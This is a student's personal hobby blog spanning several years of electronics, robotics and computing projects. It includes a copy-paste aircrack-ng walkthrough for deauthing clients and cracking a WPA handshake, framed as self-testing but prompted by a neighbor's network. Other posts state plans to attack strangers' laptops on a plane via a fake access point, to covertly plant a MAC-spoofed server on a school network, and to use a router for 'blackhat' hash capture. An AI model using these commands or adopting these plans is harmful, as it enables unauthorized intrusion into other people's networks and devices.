WPA futality

I noticed my neighbors wifi was protected with WPA-TKIP. Your wifi might use WPA. If you protect it (you should to guard against man in the middle attacks), you should not use WEP, because that protocol is broken. It doesn't matter how long or complex your password is, people can still get in. WPA is better, but because it involves users picking a password, there is a risk. To make sure your WPA is secure, fire up Backtrack 3 and type exactly the following, and after each line hit enter. Do not type the lines that are in parentheses.

airmon-ng stop wlan0

ifconfig wlan0 down

macchanger --mac 00:11:22:33:44:55 wlan0

airmon-ng start wlan0

airodump-ng wlan0

airodump-ng -c (channel) -w wpa --bssid (bssid) wlan0

(new shell)

aireplay-ng -0 5 -a (bssid) wlan0

(wait for the handshake)

(test)

aircrack-ng wpa-01.cap

(test again)

aircrack-ng wpa-01.cap -w /pentest/wireless/aircrack-ng/test/password.lst


So what this does is take down your wireless card, change the MAC address, find the BSSID and channel of your network with WPA on it, then performs a deauth attack to force everyone off the network. When they reconnect, it listens for the handshake between the client and the AP. Once it has the hash, it uses a password list to brute force the hash and try to get the password. The bigger the password list, the higher chance you will get it.

The moral of the story is that if you want a secure network, chose a good password. Most people who will try to get at your network will use this attack method. If your password is not in the list, then they will never find it. There is a 28gig password list out there that contains every possible password for WPA (compressed its 70 megs). However, it is VERY doubtful that an attacker will use this because of the size and the amount of time it will take to try all of those. If for some reason you think a government is after your data, then they probably would use that list. In that case, use a VPN to connect to another network, and it doesn't matter if they see that traffic because it is all encrypted.

Music

I started a folder on my site that I will be posting music that I recorded. Its here. Be sure to read README.TXT

Past Projects

Go here to see pictures and video of some of my past projects. There are two sets of pictures. The ones with the robotic hand are from a mod I did recently. I found a toy online called Piano Hand, which was a clear robotic hand that played piano music and wiggled its fingers like it was playing. It was $20. As soon as I got one, I realized that it was not as articulate as I thought; it has one motor that when going forward cycles the four fingers as if it were drumming them. When it is in reverse, it switches gears and moves the thumb in and out. So it can only move the thumb OR the fingers, and not at the same time. But I still thought it was really cool, but needed some help. The piano sound it played was really annoying, so I took the speaker out and bypassed the controller board entirely. I then took apart a Vex servo and modified it to control the motor from the hand. Then I hooked it up the a Vex microcontroller and a transmitter and shoved it all in a tissue box (it was then end of the year and I did all of this at school since the teachers had given up doing anything, so all I had was a tissue box). It was then really easy to plant the box somewhere and start moving the fingers from a room or 2 away.

The other pictures and video in there are from a remake I did of a R/C Chef Boyardee can. They were all taken on my phone, so they are lower quality. Sorry. Anyway, several years ago there was a commercial that you can watch here. I saw this commercial and thought nothing of it until I saw a page on m5industries.com (Jamie Hyneman's (from mythbusters) special effects shop wesite). Unfortunatly, they took the page down, but they had pictures of the can without a label on and you could see the electronics. I have the pictures saved somewhere (archive.org didn't save them) and I will post them when I find them. So anyway, once I saw those pictures, I thought it would be cool to build one myself. So I did. My friend helped me out. The videos are of it rolling and the pictures are the exploded view. I used an R/C car circuit and had a friend machine a flywheel that steered it. The cool thing is that is does not drive on 2 wheels, the entire can rotates around the electronics in the inside. I still have the can in my room, but it needs some repair. It also needs a real control system, not an iffy R/C circuit from a junk toy car. But it works.

So thats 2 projects that I did that are kinda cool. I will post more pictures and videos of projects in that same site later, and probably organize it with folders to.

real quick

I am working on all my my projects, and several are coming along great. In the meantime, DON'T USE INTERNET EXPLORER. Microsoft failed, and there is a giant hole that is currently unpatched in internet explorer 7 that can be used to extract passwords and other interesting information. If you haven't switched to Firefox already, you are an idiot. So go download Firefox 3, because it's way more secure and better in every way. Anyway, here's a sneak peek of the progress of the projects: the owl and email notifier are almost done. I got a lot of help from the Hak5 Forums. I also talked to my friend Bandit5317 who has been working on an xbox 360 laptop. You can check out the thread here. Come back soon for updates on the projects.

Made it

Well, exams are over. which is a big relief. That also means that I will now be able to dedicate my time to the many projects I have planned. Kyle and I have created "The List". It is the list of projects that we will attempt over Christmas Break. So here is the version we have now, it will vary depend on cost and feasibility and time. If you find yourself continually asking 'Why?', it is probably because we can.

1. GBA within PSP within VirtualBox - We thought it would be funny to emulate a computer emulating a PSP emulating a Gameboy Advance.

2. Treehouse - There is a big oak tree in my backyard that my dad and brother and I build a small tree house in. It was fun, but has since become abandoned, so we will hopefully spend an afternoon working to add structures and platforms to it.

3. Mini Mammoth - I bought the materials to make a very tiny mammoth model. Here it is. We plan on assembling them with great frustration, and then encasing them in a cube of clear acrylic from my dad's office.

4. Aspire One - We are both getting an Acer Aspire One for Christmas and plan on doing various mods and hacks to it. Add more RAM, bigger battery, bluetooth, 32gig SD card, touchscreen, etc.

5. Various security experiments (hacks) - A tiny laptop means it is way easier to to security testing. I always like experimenting with hacking, so I will be practicing over the break. I think I will mess around with MiTM attacks and some USB SwitchBlade stuff. Also some session hijacking.

6. Styrofoam plate speaker - If you know how speakers work, then you will know that it is possible to make one using a styrofoam plate and an electromagnet. If you google it, you will find instructions.

7. Geocaching (finding and planting) - After I started Geocaching, I became addicted. So I got my friends involved. Kyle and Dylan and I will hopefully spend a day caching around. We also want to make one.

8. Laser at Dylans - Dylan and I started building a laser from instructions online. We bought the parts and spent a day working on it, but never got it working. The only thing we got was some sparking and buzzing. We are gonna finish it.

9. Cluster - My cluster has been sitting in my closet for this semester, doing nothing. I want to work on it more to allow me to remotely control it via VNC or SSH or something. I also want to get it working on the folding@home project. Also, I need a place for it to live. If you have an air conditioned room with free electricity and internet, please tell me.

10. Ammo box underwater camera housing - This is from KipKay. Basically cut a hole in a 50 caliber military ammo box, put in a plexiglass window, and stick in a camera. Ballast is dive weights and since the box is waterproof, just close the lid and you are good to go.

11. Homemade Stroboscope - This is just a strobe light with a custom circuit on it to change the flash frequency. If you dial it in, you can make things that are moving appear static. A good example is a fan. Wikipedia for more info.

12. Rockets - I love model rockets and strapping things to them. We definitely plan on launching various things into the air, maybe strap a camera to it or an accelerometer. I also want to rebuild my electronic launcher. Right now it is a light switch housed in a metal box. I can do better.

13. Stuff from here - I want to get into hardware hacking, so this page is great for starting out doing that. I really need to get my hands on an Arduino.

14. Palm Pilot Robot - Google it and you find a neat little project that basically drives some servos from a palm pilot. I have everything already except for the controller board. It is $60, and I'd really rather not spend that. However, I do have a Vex controller, so I am going to see if I can use that instead, although I don't think I will. The alternate will be an Arduino, but I still need to do research on it. Comment if you know if that will or won't work.

15. DIY projector - My LCD monitor broke. Sort of. The backlight fried. If I got to choose how it broke, I would choose that failure though because it is really easy to fix. I am working on installing LED backlights, but I realized that all a monitor is is a very thin LCD and backlights and stuff to evenly diffuse the light. So, if you get an overheard projector and slap the LCD on there, you get an instant projector. So I am going to try that.

16. flame thrower? - Yea, we found instructions to build a really scary flamethrower. I am still not sure if I should attempt this as I could, you know, die.

17. multitouch screen and AudioTouch - I am really interested in multitouch applications, so I want to build a multitouch interface with a webcam and glass pane (google it) and try to learn the language Processing, which just came out and is designed just for visualization for those kinds of things. AudioTouch is an open source project that I want to mess with.

18. USB owl notifier - I think I wrote about this. Heres the thread that I am discussing in to try to get this thing to work.

19. Ruben's tube - These things are just cool, so I want to try one at night.Maybe play with introducing different kinds of gasses to the propane mixture to change the color of the flames. You could get really complex and run some tubes along the outside of the main one and depending on the sound of the music, inject different gasses to change the color.


So thats the list.

Also, I am flying home tomorrow, so I want to see about wireless hacking on the plane. How you ask? Because, as we know, people are stupid. So they leave their wifi switch on, and they have it on autoconnect. This means that if I pretend to be a network, their laptop happily connects, and then I can tell it to do things. Prevention? Simply turn off your wifi when you are not using it. It saves battery, and is 100% more secure.

Thats all for now. Come back for updates on The List and completed projects.

sense of touch

I have been looking at multitouch applications for the last several months. The idea of interacting with computers and data via touch is much more intuitive than a mouse and is much cooler. Touchscreens have been around for a long time, but we are now on the verge of seeing screens and software that can take advantage of multiple inputs. The main problem that most people have with this new technology is that it is expensive, especially when it comes to multitouch. This is because you need hardware that can detect more than one finger and software that can decide what to do with that. Luckily, the awesome people in the hacking community have come up with a novel solution that is dirt cheap and still has the same effectivness. By using a webcam, a cardboard box, and a pane of glass, we can make a multitouch sensor. The webcam is filtered through a piece of paper, which is then picked up by a nice piece of code that does some color adjustment to the image to isolate the ends of the fingers. The software is all open source and free for Mac, Linux and Windows. They also put a bunch of demos in there for you to play with. Here is where to get it all. That is also the AudioTouch page. They have a cool video of the demo, but haven't released the code for it yet.

What makes all of this possible is some nifty coding. But last week a new programming language came out called Processing 1.0. It is still in beta, but it allows for rapid coding of visualization demos for all sorts of applications. Many multitouch demos are coded at least in part with Processing. You can google 'Processing 1.o" and download the compiler. It was written in Java, so it is similar to that. The site has a good collections of man pages and resources for learning the lanugage. The compiler also comes with a bunch of really cool examples. I like the ones that involve capturing live video and messing with it. For those examples to work, you have to download QuickTime 7 and a program called WinVDIG, version 1.01 (NOT the lastest version). If you can't find a copy of WinVDIG, email me and I will send you the setup.

So Microsoft released a video of some multitouch research they were doing that does not require a physical screen or touchpad. It uses only the webcam input detects and tracks certain points. After seeing this demo, guru remade a version of the demo in Processing (in only 20 minutes, a tribute to the power of Processing). Here is the post. I ran it myself and got it to work with 2 post it notes like he did and also got it to work by coloring the tips of my fingers with purple and red sharpie. Note that for it to work, you have to copy and paste it in, then save it, and put an image called 'mangoofdeath.jpg' in the same directory. Or you can change the name in the script to whatever the image is called. Anyway, it is a really neat demo. Over Christmas break, my friend and I plan to whip up a couple demos and play around with more multitouch applications. It would be really cool to make a bootable Linux Live CD that had all of the libraries preconfigured and the USB drivers for a bunch of webcams and a bunch of demos for multitouch. It could also have Processing installed on it. Hmm. I have never made a Linux Live CD before, but I have a post somewhere in my 1700 bookmarks that details how to do it. I think that will be another project to look into over break.

But this week is dead week at Tech, and next week is finals, so I will most likely not be posting anything for the next 2 weeks. Like anyone reads this anyway! But to the one person who subscribes to my RSS feed, go take something apart.

Hack it Up

So today on TV I saw a commercial for the Wowee Spy-Kee robot. I had heard of it before, and it is finally out. Basically it is a treaded robot in tank mode that can be controlled over the internet and also has built in camera and speaker that can be accessed from over the internet. This is awesome. Wowee makes all kinds of awesome stuff to hack, from the Alive Chimp (basically a fully articulate animatronic humanoid head) to this. In fact, evosapien.org is a site entirely devoted to hacking all things Wowee. As soon as I heard about it, I had ideas of things to modify it with. When you take it out of the box, it is already awesome. The only thing that it is missing is a screen so the people looking at the robot can see who is controlling it. It could also be used to display stats or a prerecorded message or something. So I imagined sticking a Pico ITX on there. The power supply would be run off of a couple lithium batteries from camcorders and then would go through the tiny power supply they make into the Pico ITX motherboard. From there, I would stick an acessories board with the outputs for 7.1 audio, usb, mic, etc. With a gig of ram and a 32 gig SD card for the hard drive. You could put either linux or maybe a stripped down version of XP. Now, I haven't seen the board for the Spykee, but I am hoping that they were nice enough to label it and that there will be a set of pins that is directly coming from the wireless module. From there, I could piggyback the connection and give my ITX internet. A remote connection to it would let me play sound form added speakers (or I could splice them in to the existing speakers) or whatever. Now the whole reason I would put the ITX in there would be so that I could put like a 5in TFT screen on the front of the bot. I would power that from a battery pack also (just put them on the back of the screen). Then Skype on the ITX would let me show my face on the front, or I could put other stuff on there. But what if there is no wireless network or if they are all encrypted? In that case, a phone with an unlimited data plan hooked into the ITX would create a permenant network bubble around the bot. I would reverse the network port on the ITX and stick in a Fon router. It is called the Spykee robot, so I could also use the Fon router for blackhat purposes and make it live up to its name (and then access hashes or other encryption problems from afar and send it to the cluster for cracking).

The basis of the robot is basically a bunch of really cool electronics that would normally be expensive and several motors and a camera and speakers. That means that the shell that the bot comes with (which is cool) could be replaced with anything (vex anyone?). So for $250, thats pretty awesome. However, I think I will wait for it to come down in price or see if I can get one on the cheap from ebay or amazon or something. Instead, this Christmas I will be setting my sights on an Asus Aspire One. Tiny laptops are tasty (and good for testing...stuff...).

I just realized that I made a mistake. Wowee doesn't make the Spykee, Erector does. But I'm not going back to change all that. But Wowee deginatly make some awesome stuff for hacking. If you know me and want to some over to hack some stuff, shoot me an email and we will make it happen.

More on the Asus Aspire One later.

Toolbox

I was doing maintenance on my laptop the other day and thought I should post the tools that I use all the time that ensure the smooth performance of my computer. I defrag about every couple weeks (although I should probably only do it every month or so) and use Autologics Disk Defrag. It works a lot faster than the one built in to Windows and does just as good a job. At the end, it even gives you a percentage of how much faster your computer is since defraging. Another good one is called Defraggler. I have that one installed on my flash drive. I also use Secunia PSI RC3. This looks at all the programs you have installed and checks to see if there are updated versions. This is really important for security and a lot of people overlook it. Nortan will only help you once you get infected (and even then, Nortan sucks). If I was trying to attack someone, I would scan for outdated software with known vulnerabilities. So Secunia looks for new versions of everything and then provides a direct download link to the new installation. When I have to uninstall something, I no longer use the built in windows uninstaller. I use Revo Uninstaller. It finds the program, then runs the uninstaller it came with, and then scans the registry and program files for left over stuff. For backups, I use Personal Backup. It basically compacts everything into a zip file. I was able to back up my entire C:/ that is something like 150gigs in a 55gig zip file that I store on my external drive. I usually do this about every month. I also backup my email. I don't have my own site yet, so all my mail is on Google's servers. That means that if Google doesn't want to let me in my account, I can't get any of my email. So I use something called Gmail Backup (clever name) that logs in to my account and downloads every single email in there. That way if I do get locked out, at least I have a copy of all the emails I have recieved so far and will only miss new ones. My antivirus is Avast, which is in my opinion, the best one out there. The best thing is always to run multiple vendors scanners to have the highest chance of finding stuff. So I also have ClamWin on my flash drive that I scan with every once in a while. I also have a bootable cd called Dr. Web that you boot into and it scans the entire volume. For audio editing I use Audacity. I sometimes like to write BAT files to automate stuff, and there is a nifty little program called Bat to Exe. Guess what that does? I also use ResHacker like I mentioned in the previous post to edit dll's and stuff. For dvd ripping I use DVD Catalyst and for disk emulation I use Daemon Tools lite. Later I will post all the awesome tools I have on my flash drive that I use for portable testing and troubleshooting.

Eyecandy

Last night, I finished messing with my desktop. Here is screenshot. So here's how I did it. First, the background is called Lightning at Sunset. Google it, and its posted on Flickr. The white text in the lower right corner is from something called Samurize. There is a good article on Lifehacker.com on how to use it. It tells me time, uptime, battery level, wifi IP, LAN IP, and date. It can do a lot of other stuff, but that is all I am using. You can also post text files with it, so to the left of all of that is my todo.txt. The top dock is RocketDock with a lot of custom icons. The only gadget I am running is called Multimeter. It reads RAM used and both cores' usage level. I actually use this a lot. I am also running ObjectDock on the right with the Weather docklet and a link to the recycle bin. I decided I liked more of a minimalist look and wanted to get rid of as many icons as I could. That is what RocketDock was for. You can probably guess what most of the programs on there are, but I'll list them just for the heck of it. from left to right: link to script that automatically safely removes my external HDD, link to script that automatically safley removes my flash drive, folder with my school stuff in it, my user folder, My Computer, folder with a bunch of tools in it (I'll go over those on a later post), Tunebite, Ruckus, Finale 2007, Autodesk Inventor Pro 2009, MATLAB, Rainbow 6 vegas, Bioshock, Spore, Team Fortress 2, Half Life 2, Portal, Half Life 2 episode 1, Half Life 2 Episode 2, Steam, Link to internet radio station that plays piano jazz all the time (I love piano jazz, good for when you need to relax), virtual box, motorola phone tools, Skype, Firefox, Word. These are all of the programs I use most.
Aside from changing the look, I also changed the sound. I changed my logon, logoff, and startup sounds to sound themes from Mandriva Linux. These are all really easy to change, just go to control panel, sounds. However, the startup sound is not easy to change. For some reason, Microsoft really didn't want you to mess with it. But, it is possible, and here is how. I am posting this so readers can do it, and so I don't forget (because I had changed it before, and then I forgot how to and it took me a while to figure it out again). First, download Reshacker. its a standalone exe. right click it and run it as administrator. Then, go to open, and navigate to C:/Windows/System32 and open imageres.dll. expand WAVE and 5051, and click on 1033. If you click play, you should hear the vista startup sound. Next, right click on 1033 and click replace resource. navigate to your new sound and click ok. then fill in the boxes with WAVE, 5051, and 1033 respectively. Click ok, and then click play again, and you should hear your new sound. Now save it as imageres2.dll in C:/Windows/System32. Now, go to start, type cmd in the search bar, and right click, run as administrator. Type
net user administrator /active:yes
and hit enter.
you just enabled logging in to the administrator account. Now, go to switch user and log in as administrator. Navigate to C:/Windows/System32. Find imageres.dll. Rename it as imageres_backup.dll and rename imageres2.dll to imageres.dll. Now logout as administrator and log back in as your username. Open cmd as administrator again and type
net user administrator /active:no
and hit enter. So what you just did was replace the original system file with your modified one. You have to log in as administrator because permissions for system files are tight and I couldn't get my user the right privileges no matter what I did. You should not log in as administrator except for maintenance things like we just did. Staying logged in and using it as your normal account is a bad idea for the same reason that logging in as root all the time in linux is a bad idea. If you screw something up as administrator, it is a lot harder to fix. Anyway, restart and you should be good. If you are looking for some cool sounds, I suggest here.

Good luck, and enjoy your new sounds.

Us and Them

So I have been considering getting an Asus eee PC. I think if I get one, I'm going to get the 900. I only want to spend like $250-300 on it. I would mainly use it for on the go computing (word processing, browser, etc) and keep a VNC session over VPN open to my main laptop or my closet server. Still not sure whether or not I will get one. But its tempting. As I write this, the band Mae is warming up less than 50 yards from my room. Since the show starts at 11pm, I think I may be up late tonight, because I think they will be generating a significant amount of sound. I looked them up and downloaded everything they have done on Ruckus (ruckus.com in case you don't know what that is) and I like their sound. Its kinda punk/rock/progressive with some electronic overtones. So at least I won't be trying to sleep with a rap concert going. Anyway, to continue on tech, there is a really neat mod someone did here. When it comes to hacking and modding, sometimes, you do things for no reason other than you can. I have experienced this several times, and this guy is a perfect example. Why put an LCD screen on a mouse? Why not? Eveything can benefit from either an LCD screen or LEDs. As far as the Battlebot has been going, we have decided to make the basic shape into a hexigon. We also picked a main spinner motor (I'll post the link when I get the chance) and the 4 drive motors. The spinner motor is pretty awesome, its something like 4.5 horsepower, pancake, 24v, and about $550. Yikes. So since our budget is a grand total of $3200, thats a pretty good chunk when you consider we still need to buy lots of steel for the rest, and I'm not sure if we are recycling batteries and electronics from other robots laying around. But this week, we are all modeling it in CAD using either SolidWorks or AutoDesk Inventor. And, since I am a student (engineering students get all kinds of free software, yay) I can get everything that AutoDesk makes for free. So I have been busy learning how to model in that. I think I will work on that more tonight.

So since I have been taking a class on MATLAB, I have had some interesting ideas. For instance, I wrote a little simulation of swarm behavior. Now, please note that one script I borrowed from someone (I think the credits are in the comments of the code) and the rest I pieced together myself. I know that it is only in 2D and that it may not be what is technically considered a swarm simulation, but I was messing with an idea, and this was a rough sketch. ThinkGeek sells these little R/C flying things, and in the video, they show a bunch take off from a table. I immidiatly thought of a system that worked similarly to USB missle launchers. There would be a webcam pointed at the door to a room, capturing images. You would calibrate the system by taking a single picture of the door with no one there. Whenever someone walks in the line of sight, the software makes all of the little R/C things attack that person. Practically, this cannot be accomplished with the things from ThinkGeek because they can only go up and down. However, R/C helicopters could have no problem doing this. So the software sim I wrote for this is really simple. It does edge detection on the pictures from the webcam. You then set a threshold that is the difference in percent from the calibrated picture. This tolerance can be set so that if a cat runs by, nothing happens, but if a person walks in, then the script starts a swarm sim that takes a certain number of points (the number of R/C devices) and swarms them at a certain point. There are several ways of cheating this system, but oh well. Here are the scripts. They are hosted on my school website. If you want to test it or play with it, download everything in there and the sub directories. The main file is swarmTest1.m. Pop that in to MATLAB or the equivalent and let her rip. The arguments that it takes in are the 2 filenames of images to be compared. You can edit the if statement in there to change the tolerance. I should probably have just made that one of the arguments, but I don't feel like changing that right now. The test case I provided is to give it the arguements yesperson.jpg and noperson.jpg.

Thats all for now. Gotta go learn Inventor 2009.

Reading: Its a good thing

Here are some of the feeds I subscribe to in Google Reader, in case anyone was interested. The links are directly to the feed. It is probably easier to just search for the name of the site in Google Reader and it will find it for you. One of my favorite non technology feeds is Futility Closet. Every day, another interesting tidbit. It is also good to keep up with the latest exploits that come out. I generally just make sure nothing I am running has a big vulnerability. Coming soon: a list of the programs that I use.

THE LIST (in no particular order):
-----------------------------------

Evil Mad Scientist Laboratories
http://www.evilmadscientist.com/backend/geeklog.rss


F Minus
http://community.livejournal.com/fminus_strip/data/atom


FoxTrot - GoComics.com
http://www.gocomics.com/foxtrot/rss.pxml


Futility Closet
http://feeds.feedburner.com/FutilityCloset


[Geeks Are Sexy] Technology News
http://feeds.feedburner.com/geeksAreSexyTechnologyNews


Hack a Day
http://hackaday.com/rss.xml


Hacked Gadgets - DIY Tech Blog
http://feeds.feedburner.com/hackedgadgets


Hackszine.com
http://hackszine.com/index.xml


HackThisSite - News Articles RSS
http://hackthissite.org/pages/hts.rss.php


Hak5 - Technolust since 2005
http://www.hak5.org/feed/rss


I-Hacked.com Syndication
http://www.i-hacked.com/index2.php?option=com_rss&feed=RSS1.0&no_html=1


Inventgeek.com
http://inventgeek.com/rss.xml


Irongeek's Security Site
http://feeds.feedburner.com/IrongeeksSecuritySite


Joomla! powered Site
http://johnny.ihackstuff.com/component/option,com_rss/Itemid,0/feed,RSS2.0/no_html,1/


Lifehacker
http://lifehacker.com/index.xml


MAKE Magazine
http://www.makezine.com/blog/index.xml


MakeUseOf.com
http://feeds.feedburner.com/Makeuseof


MythBusters Results
http://feeds.feedburner.com/MythbustersResults


Packet Storm Security Advisories
http://packetstormsecurity.org/advisories.xml


Packet Storm Security Exploits
http://packetstormsecurity.org/exploits.xml


Popular Science - DIY
http://www.popsci.com/taxonomy/term/4/all/feed


Room362.com
http://feeds.feedburner.com/Room362com


xkcd.com
http://xkcd.com/rss.xml

The new blog

Started a new blog. Moved hosting from freewebs to blogger. The old blog is here: http://www.freewebs.com/huntersite/
I'm gonna try to keep this updated more often. I'm also gonna see about hosting this myself. For now, here is something to keep you entertained:
One of my favorite books of all time:
Surely You're Joking, Mr. Feynman!
The entire book. Even if you don't read it all, read some. If you have a kindle or another ereader, stick it on there. I have a massive link repository of things I found interesting, I will attempt to post at least 1 per day (right now I have enough to post 1 per day for at least several years).

actual post time was [11/9/08]11:24pm

Almost done with my first semester at Georgia Tech. Things are going well. Unfortunately, I have had zero time to work on any projects. I have, however, been doing research on some. Over Christmas break, Kyle and I plan on working on several things (including hosting a LAN party). I have been looking into multitouch applications. There are several very cheap options that have come out in the past 6 months. I really want to try making at least one of them (using either the webcam in a box version, or an array or wii remotes). There are a lot of good demo applications out there too that seem neat. I also want to put a wireless link inside of the case of my 24 port router. I took it apart, and there is a lot of extra space in there, perfect for something like a Fon router. I really need to get a Fon router for security experiments, and for modding my router. That would let me have a lot more players on the same subnet without needing a physical cable. My black monitor died, and I am attempting to resurrect it. All that broke was the back lights, and I saw a post online of a guy who had the same problem and replaced the cold cathodes with LEDs. So, I took the entire thing apart (very interesting actually) and then went to AutoZone and bought 2 24 LED strips that are supposed to go on the front of a car. They run off 12v, so I wired 2 6v lantern batteries together in series and hooked up the strips. They worked great, and when i put them in the case to see how they lit up the big piece of plexiglass designed to spread the light out, it looked really good. The only problem was, I must have accidental shorted some of the LEDs by touching the leads to the aluminum case, although i don't know how this could have happened. Anyway, I need to get more LED strips (online this time, it will be much cheaper) and modify the case to accept all of the LEDs. I also need to coat the solder points in hot glue. I also plan on buying a 22in monitor with my money from Christmas and my birthday. That will let me have more room on my laptop to do stuff, and it will also give me a place to have VNC sessions open on my closet computer (that records TV and hosts a CS:S server) and a session on the cluster (if I can find a place for it to run), and maybe another computer or 2. I also had the idea of installing a ceiling server in my old school. I have a friend there who can keep it up hardware wise. Basically, I would install it in the ceiling somewhere and jack into the network spoofing a MAC address of a school machine. Hopefully this would keep it under the radar. It would probably be linux based and host a game server. If it was discovered, I could change the MAC address remotely via VNC and my friend could move it physically. This would be mostly just for kicks, and to have a ceiling server. I have been keeping up with security news as usual. Hak5 is great. I have made a USB pocketknife and hope to test it in the field soon. I also came up with a plan to own a network completely. It is comprised of a combination of physical and remote access. Although, it could theoretically be completed entirely from across the internet. Anyway, I hope to set up a practice network at my house to see how applicable my idea is. It can be done on most owned networks, but I added a few touches that I think are really nice. I might release more info later. I also came up with my own version of the WarCart as first made by the guys from MIT (they did the Boston Transit talk at Defcon [or attempted to]). It also has some interesting features, some designed for pure hilarity. I am on the robotics team here at Tech, and we are working on a Battlebot for competition in the spring. It will own. I learned how to weld and machine stuff in the process of building it. Once we have completed it and have videos, I will post some links to it destroying something cool. Wow, longest post to date. cool. theres a lot going on. I just keep waiting for time to work on all this.

actual post time was [8/25/08]12:25am

What do you know, exactly 2 months since the last entry. At this point, I am 1 week in at Georgia Tech, studying to be a computer engineer. The supercomputer was a success, and is now sitting in my closet until I get home to play with it some more. At this point, it is almost exclusively work with customizing it and experimenting with it. I got a 24 port hub from ebay for $25, so pretty good deal. The only thing is that it isn't gigabit. oh well. I got smoothwall running on my little router. I am also expecting in the mail this week a package of miracle fruit tablets. If you don't know what miracle fruit is, try Wikipedia. I am excited to begin experimenting with that. Current projects include playing with linux some more, and I'm also considering playing with controlling stuff from my computer, like using a relay on a wall socket that is hooked in to my parallel port and controlling appliances. I don't know how much time I will have to play with that sort of thing because of the work load here. It is very high. The other thing i was considering was a system that would have a usb port on the outside of a door, and then you plug in a thumb drive. then you use a shell script to read a file named a certain thing and see if it has certain text in it. if it does, then open the relay and unlock the door. if it doesnt, then deny access. everything could be logged as well. You could even get a little screen to put on the outside of the door. And a camera. hmm... And make it remotly accessable via VNC or SSH so see recordings of all entrance attempts. It would only record when there was movement or when someone stuck in a thumb drive. I hope i get a chance to try all of this.

actual post time was [6/25/08]11:32pm

Well, I had completely forgotten about this site until I rediscoverd it moments ago. It makes me wonder what other things i have forgotten... A lot has changed, for example my writing style has changed a bit however i will keep existing entries for archival purposes. As for ongoing projects, the biggest is the supercomputer. Dylan and I have been busy constructing a linux based high performance computing cluster consisting of what will end up being around 10 nodes running with a combined clockspeed of around 12-13Ghz. The things that need to be finished are 1) i need to install smoothwall which is a router/firewall OS on a spare node and get a 16 port gigabit switch. The firewall computer has 2 network cards, 1 for the cable that the internet is coming in from, and the other that goes to the switch. Smoothwall also has several servers built in, so I can run a SAMBA server, an HTTP server (apache) and an SSH server so i can host this site on it and dylan and i can connect to it remotly and securly via SSH to give it jobs. All that's left is a place to put it. With a server, it needs to be on 24/7. So if you know of a place where i can put 10 computers running 24/7 (needs plenty of ventilation and a dependable power feed), the PLEASE let me know. Because right now i have a stack of big, hot, power hungry computers in my room and it is not comfortable to wake up and find the room 112 degrees. Also, if you know where i can cheaply or even better freely acquire a 16 port network switch, tha'd be great. well, can't think of any other projects i'm workin on right now but if you have any ideas, tell me.

actual post time was [2/18/06]3:35pm

Exciting things are happening!! I have linux on my xbox now. A picture is coming soon of the dashboard showing it installed. I have run into a problem though, and that is I get an error when booting. Hopefully a reinstallation will fix it. new computer got here. it is 1337. (2.3 Ghz, 1 gig ram, 160 gig, dvd burner, xp). i also have age of empires 3 on it and play with mr. p. Mr. donovan (scott) has a water rocket launcher that we used and owned a bunch of 2 liter bottles. i am running sound for the middle school play. kara is helping me. we are only running about 12 inputs on 3 small boards, so its nothing amazing. Another project I'm working on is a little more organic. I built a fish trap and it is currently in the water under testing to see if fish like it. I will use it when we go to rainbow river. and lastly, i am working on a little robotic mouse that you can see here. it is pretty simple. so there you go.

actual post time was [1/15/06]4:34pm

Well, i have media now. the completed can as seen on the M5 Industries site has videos onhere of it in action. i still have not gotten linux on my xbox because i dont have a 256 mb memory stick for ozx memory. but i have not given up. i got the camera and hooked it up to my rc car (xmods) and drove it remotly. we also used it on a robot we built in the robotics club i joined at school (vex robotics). as of now, it is in my room streaming live wireless feed to a little tv in the computer room.
we ordered a new computer and it should get here tuesday (1/17/06). then i hope to be able to use it as a DVR. i've been trying to get a second computer up in my room, but its having HDD problems. hopefully i'll get that fixed. we bought a new air compresser, which should prove entertaining as i launch mt. dew bottles off in the yard. got some neat gadgets for christmas. trying to read up on electronics theory too. all for now.

First post (actual post time unknown)

this is my temperary page for info. a better site is coming as soon as i have time. meanwhile, here are some of the projects i have been undertaking.

i am in the process of installing linux on my xbox. i built the usb adapter over thanksgiving break and bought an old copy of mech assault from eb games. (i also played the xbox 360 demo in there. SWEET!!) i did all this only to find that my jump drive dosent work. so, i have to borrow kyle's. if you have no idea what any of this is, search google for "softmod the xbox" and click on the first hit. pics are coming soon.

my second project is the ongoing r/c can. it has been at a standstill for a while, and i need to buy a low-rpm cd gearhead high-torque motor. then, it shall be complete. i have pics of it, and i will upload them soon.

i also bought a small wireless color camera, about 1 cubic inch. i got it off ebay, and it should be coming in the mail soon. i hope to attach it to anything and everything i can find.

there is book out called "kickin bot" by grant imahara. i looked through it and its pretty cool. so if anyone remotly interested in electronics is reading this, go get that book. and then email me at "aloishis89@gmail.com". cool.

thats it for now. check back soon for updates and pics and maybe, an actual site layout.